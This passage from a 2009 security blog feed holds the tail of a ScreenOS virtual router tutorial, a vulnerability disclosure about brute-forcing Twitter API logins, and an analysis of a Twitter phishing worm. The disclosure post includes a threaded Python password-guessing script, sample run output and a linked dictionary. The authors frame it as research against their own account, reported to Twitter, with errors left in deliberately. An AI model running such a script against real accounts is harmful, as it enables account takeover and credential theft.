total 3 vrouters shown and 1 of them defined by user
</code></pre>

<p>Due to the limitations of not allowing the movement of a zone between routing instances when there are interfaces within them, we need to move things around first.  Let&#8217;s start by moving all the interfaces that are in the <em>Trust</em> and <em>DMZ</em> zones to a holder zone named <em>Null</em>.</p>

<pre><code>screenos-1-&gt; set interface eth0/0 zone Null
screenos-1-&gt; set interface eth0/1 zone Null
</code></pre>

<p>Now we need to move the zones to the correct routing instances, and while we&#8217;re at it let&#8217;s move the interfaces back and create new sub-interfaces.</p>

<pre><code>screenos-1-&gt; set zone Untrust vrouter untrust-vr
screenos-1-&gt; set zone DMZ vrouter dmz-vr
screenos-1-&gt; set interface eth0/0 zone Untrust
screenos-1-&gt; set interface eth0/1 zone DMZ
screenos-1-&gt; set interface eth0/0.1 tag 100 zone Untrust
screenos-1-&gt; set interface eth0/0.2 tag 200 zone Trust
screenos-1-&gt; set interface eth0/0.3 tag 300 zone DMZ
screenos-1-&gt; set interface eth0/0.4 tag 400 zone Trust

</code></pre>

<p>Finally, let&#8217;s setup the interface addresses.</p>

<pre><code>screenos-1-&gt; set interface eth0/0.1 ip 10.10.10.1/24
screenos-1-&gt; set interface eth0/0.2 ip 172.16.10.1/24
screenos-1-&gt; set interface eth0/0.3 ip 10.10.10.1/24
screenos-1-&gt; set interface eth0/0.4 ip 192.168.10.1/24
</code></pre>

<p>Now we should take a look and see that everything has come out the way we expected.  First, the interfaces:</p>

<pre><code>screenos-1-&gt; get interface 

A - Active, I - Inactive, U - Up, D - Down, R - Ready 

Interfaces in vsys Root: 
Name           IP Address                        Zone        MAC            VLAN State VSD      
serial0/0      0.0.0.0/0                         Null        N/A               -   D   -  
eth0/0         0.0.0.0/0                         Untrust     0017.cb80.9f40    -   U   -  
eth0/0.1       0.0.0.0/0                         Untrust     0017.cb80.9f40  100   U   -  
eth0/0.2       0.0.0.0/0                         Trust       0017.cb80.9f40  200   U   -  
eth0/0.3       0.0.0.0/0                         DMZ         0017.cb80.9f40  300   U   -  
eth0/0.4       0.0.0.0/0                         Trust       0017.cb80.9f40  400   U   -  
eth0/1         0.0.0.0/0                         DMZ         0017.cb80.9f45    -   D   -  
wireless0/0    192.168.2.1/24                    Trust       0017.cb80.9f55    -   D   -  
wireless0/1    0.0.0.0/0                         Null        0017.cb80.9f56    -   D   -  
wireless0/2    0.0.0.0/0                         Null        0017.cb80.9f57    -   D   -  
wireless0/3    0.0.0.0/0                         Null        0017.cb80.9f58    -   D   -  
bgroup0        192.168.1.1/24                    Trust       0017.cb80.9f4b    -   U   -  
  eth0/2       N/A                               N/A         N/A               -   U   -
  eth0/3       N/A                               N/A         N/A               -   D   -
  eth0/4       N/A                               N/A         N/A               -   D   -
  eth0/5       N/A                               N/A         N/A               -   D   -
  eth0/6       N/A                               N/A         N/A               -   D   -
bgroup1        0.0.0.0/0                         Null        0017.cb80.9f4c    -   D   -  
bgroup2        0.0.0.0/0                         Null        0017.cb80.9f4d    -   D   -  
bgroup3        0.0.0.0/0                         Null        0017.cb80.9f4e    -   D   -  
vlan1          0.0.0.0/0                         VLAN        0017.cb80.9f4f    1   D   -  
null           0.0.0.0/0                         Null        N/A               -   U   0  
</code></pre>

<p>Now the routing instances:</p>

<pre><code>screenos-1-&gt; get route
H: Host C: Connected S: Static A: Auto-Exported
I: Imported R: RIP P: Permanent D: Auto-Discovered
N: NHRP
iB: IBGP eB: EBGP O: OSPF E1: OSPF external type 1
E2: OSPF external type 2 trailing B: backup route


IPv4 Dest-Routes for &lt;untrust-vr&gt; (2 entries)
;--------------------------------------------------------------------------------------
         ID          IP-Prefix      Interface         Gateway   P Pref    Mtr     Vsys
;--------------------------------------------------------------------------------------
*         2      10.10.10.1/32       eth0/0.1         0.0.0.0   H    0      0     Root
*         1      10.10.10.0/24       eth0/0.1         0.0.0.0   C    0      0     Root



IPv4 Dest-Routes for &lt;trust-vr&gt; (8 entries)
;--------------------------------------------------------------------------------------
         ID          IP-Prefix      Interface         Gateway   P Pref    Mtr     Vsys
;--------------------------------------------------------------------------------------
*         5     172.16.10.0/24       eth0/0.2         0.0.0.0   C    0      0     Root
*         8    192.168.10.1/32       eth0/0.4         0.0.0.0   H    0      0     Root
*         4     192.168.1.1/32        bgroup0         0.0.0.0   H    0      0     Root
          2     192.168.2.1/32    wireless0/0         0.0.0.0   H    0      0     Root
          1     192.168.2.0/24    wireless0/0         0.0.0.0   C    0      0     Root
*         3     192.168.1.0/24        bgroup0         0.0.0.0   C    0      0     Root
*         7    192.168.10.0/24       eth0/0.4         0.0.0.0   C    0      0     Root
*         6     172.16.10.1/32       eth0/0.2         0.0.0.0   H    0      0     Root



IPv4 Dest-Routes for &lt;dmz-vr&gt; (2 entries)
;--------------------------------------------------------------------------------------
         ID          IP-Prefix      Interface         Gateway   P Pref    Mtr
;--------------------------------------------------------------------------------------
*         2      10.10.10.1/32       eth0/0.3         0.0.0.0   H    0      0         
*         1      10.10.10.0/24       eth0/0.3         0.0.0.0   C    0      0         


</code></pre>

<blockquote>
  <p>Based on the findings of the report, my conclusion was that this idea was not a practical deterrent for reasons which at this moment must be all too obvious.</p>
  
  <p>Dr. Strangelove</p>
</blockquote>

<h2 id="footnotes">Footnotes</h2>

<div class="footnotes">
<hr />
<ol>

<li id="fn:1">
<p>MAN is a Metropolitan Area Network: <a href="http://en.wikipedia.org/wiki/Metropolitan_Area_Network">Wikipedia</a>&#160;<a href="#fnref:1" rev="footnote">&#8617;</a></p>
</li>

<li id="fn:4">
<p>I should take a second and also point out that Cisco has a long and <em>s.l.o.w</em> history of making managements services available via a vrf.  In fact, so many features cannot be enabled inside a VRF that most just use the global routing table for management and push all production traffic into VRFs.&#160;<a href="#fnref:4" rev="footnote">&#8617;</a></p>
</li>

<li id="fn:3">
<p>Table of Vender and VRF naming conventions
<table>
<thead>
<tr>
  <th>Vendor</th>
  <th>OS</th>
  <th>VRF-Lite</th>
  <th>VRF</th>
  <th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
  <td>Juniper</td>
  <td>JunOS</td>
  <td>Virtual Router</td>
  <td>VRF</td>
  <td>JunOS has many others ways of preforming VRF functions. More details <a href="http://www.juniper.net/techpubs/software/junos/junos85/swconfig85-vpns/frameset.html">here</a></td>
</tr>
<tr>
  <td>Juniper</td>
  <td>ScreenOS</td>
  <td>Virtual Router</td>
  <td><em>N/A</em></td>
  <td></td>
</tr>
<tr>
  <td>Cisco</td>
  <td>IOS</td>
  <td>VRF Lite</td>
  <td>VRF</td>
  <td></td>
</tr>
<tr>
  <td>Cisco</td>
  <td>NX-OS</td>
  <td>VRF Lite</td>
  <td>VRF</td>
  <td></td>
</tr>
<tr>
  <td>Cisco</td>
  <td>ASA</td>
  <td>Contexts</td>
  <td><em>N/A</em></td>
  <td></td>
</tr>
<tr>
  <td>Cisco</td>
  <td>PIXOS</td>
  <td><em>N/A</em></td>
  <td><em>N/A</em></td>
  <td></td>
</tr>
</tbody>
</table>&#160;<a href="#fnref:3" rev="footnote">&#8617;</a></p>
</li>

<li id="fn:2">
<p>Yes, yes. I know I could do everything at once and commit last, and that is one of the reasons I love JunOS, but this is also about building and seeing each change and how it affects the overall router&#160;<a href="#fnref:2" rev="footnote">&#8617;</a></p>
</li>

</ol>
</div>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/09/vrf-is-the-new-black-how-i-learned-to-stop-worrying-and-love-the-complexity/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Breaking Twitter (authentication)</title>
		<link>http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/</link>
		<comments>http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 17:26:54 +0000</pubDate>
		<dc:creator>Jeremy Rossi</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[tweethon]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=530</guid>
		<description><![CDATA[Yesterday we spent some time speculating on how phishing attacks like the one afflicting Twitter on Wednesday of this week are seeded.  How are the original direct messages sent out that kick off the first stolen credentials, the next set of direct messages, and so on in the loop?  We were hoping, but [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday we spent some time speculating on how phishing attacks like the one afflicting Twitter on Wednesday of this week are seeded.  How are the original direct messages sent out that kick off the first stolen credentials, the next set of direct messages, and so on in the loop?  We were hoping, but not counting on, the fact that Twitter might address this in their blog.  Taking a page from Google or Microsoft, an up front and transparent approach to security seems to be the direction of major players in the online space.  Twitter may consider embracing this approach, given its rampant rise in popularity and thus existence at the edge of malicious customized attacks from bad actors, as it likely has a lot of data that would benefit the information assurance community.</p>

<p><a href="http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/">In our rampant speculating</a> (guessing), we noted that we thought brute force password attacks would move away from the main Twitter login page because of their implementation of CAPTCHA (showing an image that is easy for a human to translate and type in but difficult for a computer to identify), which occurs after several failed login attempts.  While some success has been reported by both researchers attempting to break CAPTCHA, as well as researchers <a href="http://securitylabs.websense.com/content/Blogs/2919.aspx">watching others break it</a>, the processing time of dealing with translating thousands of CAPTCHA messages becomes problematic from a password cracking standpoint (as far as we know, if you have a counter example please show us).  So where does one go to perform the type of brute force password attack that a <a href="http://www.wired.com/threatlevel/2009/01/professed-twitt/">teenage hacker used in January</a> to gain access to <a href="http://twitter.com/crystal">Crystal the Twitter admin&#8217;s</a> account, achieve &#8216;Happiness&#8217; and allow others to tweet on behalf of Barack Obama and Britney Spears?</p>

<div id="attachment_576" class="wp-caption alignnone" style="width: 510px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/obama-twitter-hacked.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/obama-twitter-hacked.jpg" alt="Back in January the @BarackObama account was broken into." title="obama-twitter-hacked" width="500" height="327" class="size-full wp-image-576" /></a><p class="wp-caption-text">Back in January the @BarackObama account was broken into.</p></div>

<p>We thought that the Twitter API (application program interface) is the next place to go.  While moving towards OAuth authentication (a mechanism by which users can provide others access to their data without providing their authentication credentials) the old style API calls with user name and password are still available.  Providing an API is one of the primary reasons for Twitter&#8217;s popularity, as many tools can provide both interfaces into the online services of Twitter, as well as act as aggregators for the data within Twitter&#8217;s data stores.  In fact, for most tweeple, the actual system confines of Twitter might as well be a big database, as they are doing their tweeting through <a href="http://tweetdeck.com/">TweetDeck</a> or <a href="http://www.atebits.com/tweetie-iphone/">Tweetie</a>, monitoring topics at <a href="http://twitterfall.com/">TwitterFall</a>, looking at their favorite famous twits at <a href="http://www.congressional140.com">Congressional140</a> or <a href="http://www.celebritytweet.com/">CelebrityTweet</a>, mapping the world&#8217;s tweets with <a href="http://beta.twittervision.com/">TwitterVision</a>, or evaluating themselves with <a href="http://www.cursebird.com/">CurseBird</a>.</p>

<p>That same API provides an alternate path for logging into Twitter, and provides all the functionality available through the web application (authentication, reading tweets, tweeting).  You can read more about the overall Twitter API here: <a href="http://apiwiki.twitter.com">http://apiwiki.twitter.com</a>.</p>

<p>But wait you say, are you trying to tell us that brute force password attacks will move to the API when I just read on the Twitter API wiki that the API severely limits the rate of calls you are allowed to make to it (200/hour/IP for authenticated requests without whitelisting)?  That should be a mitigating control.  Should be, but isn&#8217;t, because it is not enforced on all of the API calls.</p>

<h3>Rate Limit? We don&#8217;t need no stinking rate limit.</h3>

<p>From the twitter API documenation on <a href="http://apiwiki.twitter.com/Twitter-REST-API-Method%3A-account%C2%A0verify_credentials">account/verify_credentials</a> Twitter states:</p>

<p><em>Returns an HTTP 200 OK response code and a representation of the requesting user if authentication was successful; returns a 401 status code and an error message if not.  Use this method to test if supplied user credentials are valid. Because this method can be a vector for a brute force dictionary attack to determine a user&#8217;s password, it is limited to <em>15 requests per 60 minute period</em> (starting from your first request).</em></p>

<p>Well, let&#8217;s see.  Using a simple python program that tried known incorrect passwords as fast as the the API would respond (but well below DOS thresholds), we have this:</p>

<pre><code><br />[~]% time python twitterauthcheck.py
Login: _eeeeeeeek Password: 0 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 1 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 2 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 3 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 4 failed: HTTP Error 401: Unauthorized

[......SNIP......]

Login: _eeeeeeeek Password: 295 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 296 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 297 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 298 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 299 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: &lt;redacted&gt; accepted
/opt/local/bin/python2.6 testingauth.py  2.03s user 1.47s system 1% cpu 4:25.05 total
</code></pre>

<p>So looking at the details we have 300 passwords attempted in 2 minutes and 3 seconds.  We can also see on the 300th attempt the password was accepted (we put the correct password in at number 300) so we can conclude that the account is not getting locked out due to enforcement of rate limits. So next we ran the script six times concurrently (3,600 attempts).  Still not locked out.</p>

<p>We are also showing that we are able to blow through the overall 150 request limit per IP per hour that Twitter reports is the rate limit.  Running multiple attempts did start to hit some 503 Bad Gateway errors which we thought might be the end of the road, but no, it started responding again a second later.</p>

<p>Running the script is slow.  Twitter&#8217;s greatest defense here against a true brute force attack using a single thread is that it takes a while for their infrastructure to respond.  We can call that security through lack of capacity.  Since a good password cracker takes more then a few hundred entries to work (<a href="http://praetorianprefect.com/wp-content/uploads/2009/09/dic.txt">this LOphtCrack dictionary has 235,007 entries.</a>), we&#8217;ll go multi-threaded.</p>

<p>In a final controlled example, we use a known account where one person sets a dictionary word simple password and the other person runs the script without specifically knowing the password (just in case someone wants to write a Computer Fraud and Abuse Act essay in the comments, when someone logs into their own account its called authentication).  Again, low request threshold, and only accessing our own account.</p>

<p>25,086 attempts thus far before we got bored watching it, so a little over 7 hours and the whole 200,000+ dictionary word list would be done, and likely any account using a common dictionary based password would be accessed.  We tried a few subsequent runs that mixed in a correct password just to ensure everything was working, and the program notified us of the successful login.</p>

<p>If Twitter wants to minimize the probability of success for this vulnerability it could:</p>

<ul>
<li>Enforce its stated rate limits.</li>
<li>Start requiring minimally complex passwords.</li>
<li>Complete the migration to OAuth.</li>
</ul>

<p>As we like Twitter as much as the next, and because we are in favor of good faith disclosure, we have notified them of our concerns. <em>Update</em>: A Twitter representative has responded that the information provided has been sent on to the right internal team at Twitter.</p>

<p>Here&#8217;s the Code: <a href="http://praetorianprefect.com/wp-content/uploads/2009/09/threadedtwitter.py.txt" title="threadedtwitter.py">threadedtwitter.py</a>
<br />
Dictionary: <a href="http://praetorianprefect.com/wp-content/uploads/2009/09/dic.txt" title="dic.txt">dic.txt</a></p>

<p><em>Please note, the code is provided for demonstration purposes only, should not be run ever, and contains intentional errors so that attempts to run it will not work.</em></p>

<p>The command is as follows: twitterauthcheck.py username passwordlist.txt</p>

<pre><code>import threading,Queue
import socket
import tweethon
import urllib2
import socket
import sys

class Threader:
    # Class taken from: Sept 3 2004, Justin A: http://code.activestate.com/recipes/302746/
    def __init__(self, numthreads):
        self._numthreads=numthreads

    def get_data(self,):
        raise NotImplementedError, "You must implement get_data as a function that returns an iterable"
        return range(10000)
    def handle_data(self,data):
        raise NotImplementedError, "You must implement handle_data as a function that returns anything"
        time.sleep(random.randrange(1,5))
        return data*data
    def handle_result(self, data, result):
        raise NotImplementedError, "You must implement handle_result as a function that does anything"
        print data, result

    def _handle_data(self):
        while 1:
            x=self.Q.get()
            if x is None:
                break
            self.DQ.put((x,self.handle_data(x)))

    def _handle_result(self):
        while 1:
            x,xa=self.DQ.get()
            if x is None:
                break
            self.handle_result(x, xa)

    def run(self):
        if hasattr(self, "prerun"):
            self.prerun()
        self.Q=Queue.Queue()
        self.DQ=Queue.Queue()
        ts=[]
        for x in range(self._numthreads):
            t=threading.Thread(target=self._handle_data)
            t.start()
            ts.append(t)

        at=threading.Thread(target=self._handle_result)
        at.start()

        try :
            for x in self.get_data():
                self.Q.put(x)
        except NotImplementedError, e:
            print e
        for x in range(self._numthreads):
            self.Q.put(None)
        for t in ts:
            t.join()
        self.DQ.put((None,None))
        at.join()
        if hasattr(self, "postrun"):
            return self.postrun()
        return None


class twitterpasswordtester(Threader):

    def get_data(self):
        data = open(sys.argv[2]).read()
        data = data.split('\n')
        self._usename = sys.argv[1]
        self.counter = 0
        return data

    def handle_data(self,p):
        print "in testAuth"
        u = self._usename
        x = tweethon.Api(username=u, password=p)
        x.SetCache(None)
        try:
            x.VerifyCredentials()
            results = "login: {0} Password: {1} accepted\n".format(u, p)
        except urllib2.HTTPError, e:
            results = "login: {0} Password: {1} failed: {2}\n".format(u, p, e)
        finally:
            del x
            return results

    def handle_result(self, data, result):
        print result
        print self.counter 
        self.counter += 1
        self.res.append((data,result))
    def prerun(self):
        self.res=[]
    def postrun(self):
        return self.res


z = twitterpasswordtester(10)
for n,ns in  a.run():
    print n,ns
</code></pre>

<p>Tweethon Source: <a href="http://bitbucket.org/jrossi/tweethon/src/tip/README">http://bitbucket.org/jrossi/tweethon/src/tip/README</a></p>

<p><em>The Tweethon library, the only custom or uncommon library above, is intended to make the <a href="http://twitter.com/help/api">Twitter web services API</a> easier for python programmers to use.</em></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/">Persistent XSS on Twitter.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ROFL this you on here? The latest Twitter Worm</title>
		<link>http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/</link>
		<comments>http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 08:25:29 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[china]]></category>
		<category><![CDATA[money mule]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=484</guid>
		<description><![CDATA[At 2pm on Wednesday 9/24, wide scale reports started showing up on Twitter that a new Twitter worm sends you a direct message with the content “rofl this you on here? http://videos.twitter.secure-logins01.com”.  The link opens a Twitter style log in page (albeit Twitter’s previous version of this page, they have a new one) which, except for being an old version and a stray angle bracket is convincing.  Upon logging in the user’s credentials are stolen, and presumably direct messages are sent to each follower that user has.]]></description>
			<content:encoded><![CDATA[<p>At 2pm on Wednesday 9/24, wide scale reports started showing up on Twitter that a new Twitter worm sends you a direct message with the content “rofl this you on here? http://videos.twitter.secure-logins01.com”.  The link opens a Twitter style log in page (albeit Twitter’s previous version of this page, they have a new one) which, except for being an old version and a stray angle bracket is convincing.  Upon logging in the user’s credentials are stolen, and presumably direct messages are sent to each follower that user has.</p>

<div id="attachment_488" class="wp-caption alignleft" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/twitter_spoofedhomepage1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/twitter_spoofedhomepage1-150x150.gif" alt="The phishing site&#039;s Twitter login page." title="The spoofed Twitter homepage" width="150" height="150" class="size-thumbnail wp-image-488" /></a><p class="wp-caption-text">The phishing site's Twitter login page.</p></div>
<div id="attachment_490" class="wp-caption alignleft" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/twitter_newhomepage.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/twitter_newhomepage-150x150.gif" alt="The real Twitter homepage" title="Twitter&#039;s real homepage" width="150" height="150" class="size-thumbnail wp-image-490" /></a><p class="wp-caption-text">The real Twitter homepage</p></div>

<p>Because direct messages are private it is not possible for anyone but Twitter itself to pinpoint both when the attack began and the original seeding of the attack (whether compromised user accounts, previously set up Spam/bot accounts, or another method.  A number of accounts appear to have been affected; by 5pm TwitScoop (a service that monitors popular Twitter trends) started reporting trending words including “hacked”, “worm”, and “spreading”.  The attack is effective based on two classic principles of social engineering: the message comes from someone you have previously followed (and implicitly trust on some level) and the message appeals to a combination of curiosity and vanity.</p>

<p>On Twitter you can only send a direct message to someone who is following you. Or put another way, only someone whose updates you have previously expressed an interest in and signed up for (followed) can send you one of these messages.  This attack is the Twitter equivalent of e-mail phishing schemes that use an e-mail sent from someone else’s address book, essentially you theoretically know the person already and are more likely to open an e-mail received from them.  Combine the suggestion that this person you know or know of has found a video of you online, a login screen that is familiar, and you end up with a number of compromised Twitter accounts.</p>

<div id="attachment_494" class="wp-caption alignnone" style="width: 365px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/Tweetie.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/Tweetie.png" alt="The direct message containing the link to the spoofed Twitter login." title="The Direct Message" width="355" height="118" class="size-full wp-image-494" /></a><p class="wp-caption-text">The direct message containing the link to the spoofed Twitter login.</p></div>

<p>This is far from the first worm Twitter has faced (Koobface, StalkDaily, mikeyy), and is not even the first direct message phishing style attack <a href="http://blog.twitter.com/2009/01/gone-phishing.html">in this style</a>.
While labeled a worm on Twitter, it is not confirmed thus far that this is a self-replicating program, an important part of the definition of a computer worm, it just appears that way. In order to get some understanding of this, Twitter would have to release some analysis of their logging, showing some correlation between a compromised Twitter account, a direct message to a group of parties, and then a subsequent compromise and direct message from within that second group, and so on in the chain.  For now we’ll assume this is the path this attack is taking with the evidence we have noticed thus far. Regardless since everyone is referring to this as a Twitter worm, for the sake of clarity, we’ll continue to call it a worm here and update if proven otherwise.</p>

<p>What happened if you did go ahead and put credentials in the login screen: Fail Whale.</p>

<div id="attachment_1289" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/twphish.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/twphish-300x222.jpg" alt="If you did some string in for login or password, this is what you get." title="twphish" width="300" height="222" class="size-medium wp-image-1289" /></a><p class="wp-caption-text">If you put some string in for the login or password, this is the response.</p></div>
<br /><br /></p>

<h4>No Newcomer</h4>

<p>The URL in question is hosted in Beijing, China according to GeoIP, the host is listed as Chinanet Yunnan Province Network which is China Telecom&#8217;s (3rd biggest mobile telecom provider in China) internet service.  The e-mail address used in the registration, lixing688@gmail.com, links this up to similar phishing sites for Twitter and MySpace identified in the malwaredomainlist forums back in July. That time around the site url was: secure-login.twitter.verifiylogin.com/twitter/.  MySpace was cloned at rnyspece.com.</p>

<p>Another URL, Faecibook.com, with the same e-mail address for registrar is a phishing site that appears to prey on users in a way very similar to the Twitter attack, posting comments on Facebook such as this: <em>“seen this really bad blog about you? http://www.jdsense.com/search/redirect.php?f=http://blogs.faecibook.com/sessionid?nglnbskuf”</em>.</p>

<p>That e-mail was also used in a series of money transfer agent scams (money mules) with bogus charity phishing web sites (KPEREZHOME, Rodney Lawrence International, Edward White, et. al) all hosted on a <a href="http://www.infoworld.com/d/developer-world/worst-registrar-xin-net-crackdown-requested-194">problematic registrar</a>, the Xin Net Technology Corporation.</p>

<p>A photographer, Warren Henke, <a href="http://www.warrenhenke.com/blogs/rants/glen-hamilton-international-organization">wrote a blog post</a> describing receipt of a phishing e-mail associated with this scam from the Glen Hamilton International Organization.</p>

<p><div id="attachment_506" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/rodney-lawrence-international.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/rodney-lawrence-international-300x228.jpg" alt="The phishing site." title="Rodney Lawrence International" width="300" height="228" class="size-medium wp-image-506" /></a><p class="wp-caption-text">The Rodney Lawrence International phishing site.</p></div>

<h4>Something New</h4>

<p>One of the differences with this attack that separates it from previous ones is that in the time since the more famous compromises of January of this year (Barack Obama, Britney Spears, CBS News, Kevin Rose) Twitter has implemented some controls around the login screen, including a CAPTCHA element that shows up after several bad password entries.</p>

<p>CAPTCHA is a program designed to differentiate humans from computers and prevent abuse by bots, automated programs used to generate spam among other things.  It is a contrived acronym standing for Completely Automated Public Turing test to tell Computers and Humans Apart. CAPTCHA has three primary principles: the computer can’t solve it, most humans can, and the tool does not rely on some form of obscurity such as being a new implementation.</p>

<div id="attachment_498" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/capchascreen1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/capchascreen1-300x179.gif" alt="reCAPTCHA, a free service that combines CAPTCHA with the digitizing of printed books, newspapers, and old radio shows." title="ReCaptcha" width="300" height="179" class="size-medium wp-image-498" /></a><p class="wp-caption-text">reCAPTCHA, a free service that combines CAPTCHA with the digitizing of printed books, newspapers, and old radio shows.</p></div>

<p>Actually reCAPTCHA is used, a free service that combines CAPTCHA with the digitizing of printed books, newspapers, and old radio shows. When you are translating the image to text, you are acting as a human optical character recognition (OCR) translator. The service was acquired by Google this month.
Circumventions of CAPTCHA have occurred with each step in the method’s evolution, starting in wide use from Yahoo’s EZ-Gimpy program, using roughly the same three step process: pre-processing or removing the background obscurities, segmentation or separating the letters, and classification or identification of each letter.  Segmentation remains the one area where humans outperform computers; however, spammers are achieving some level of success in this area.  Here is a good analysis from WebSense detailing how a service in Russia is achieving a <a href="http://securitylabs.websense.com/content/Blogs/2919.aspx">20% rate in automated breaks</a> of CAPTCHA images.</p>

<p>So CAPTCHA, while not perfect, does help mitigate dictionary brute force password attacks in that it adds another layer of complexity to the authentication process.  Some of the reasons for beating CAPTCHA are to be able to post blog comment spam, create fraudulent accounts such as the e-mail example above, and similar automated completion of web forms designed for human interaction.  In these applications it makes sense: a download of the image, a translation to text, and the comment spam is posted, the e-mail account created, and so forth.  If two or three out of every ten requests is successful, the comment will be posted or new account opened at an acceptable rate.</p>

<p>In a password cracking application, which moves through a number of password possibilities for each id quickly the additional processing combined with a less than perfect translation rate adds a level of complexity likely not used.  With that in mind, how does the bad actor break into Twitter accounts easily?
The answer may lie in the Twitter API, which while limiting the rate of requests still allows for a large request rate upon request.  That is not to suggest that this is definitely what this attacker did, in fact the bad actor in this case may have previously had compromised ids, may have used more conventional spam tactics to get an original seeding of ids, or may have broken into a few early accounts as discussed here.  Only Twitter could potentially have the log access to figure this out.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/">Persistent XSS on Twitter.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>2008 Server to the Core</title>
		<link>http://praetorianprefect.com/archives/2009/09/2008-server-to-the-core/</link>
		<comments>http://praetorianprefect.com/archives/2009/09/2008-server-to-the-core/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 21:47:06 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[active directory]]></category>
		<category><![CDATA[cli]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows 2008]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=398</guid>
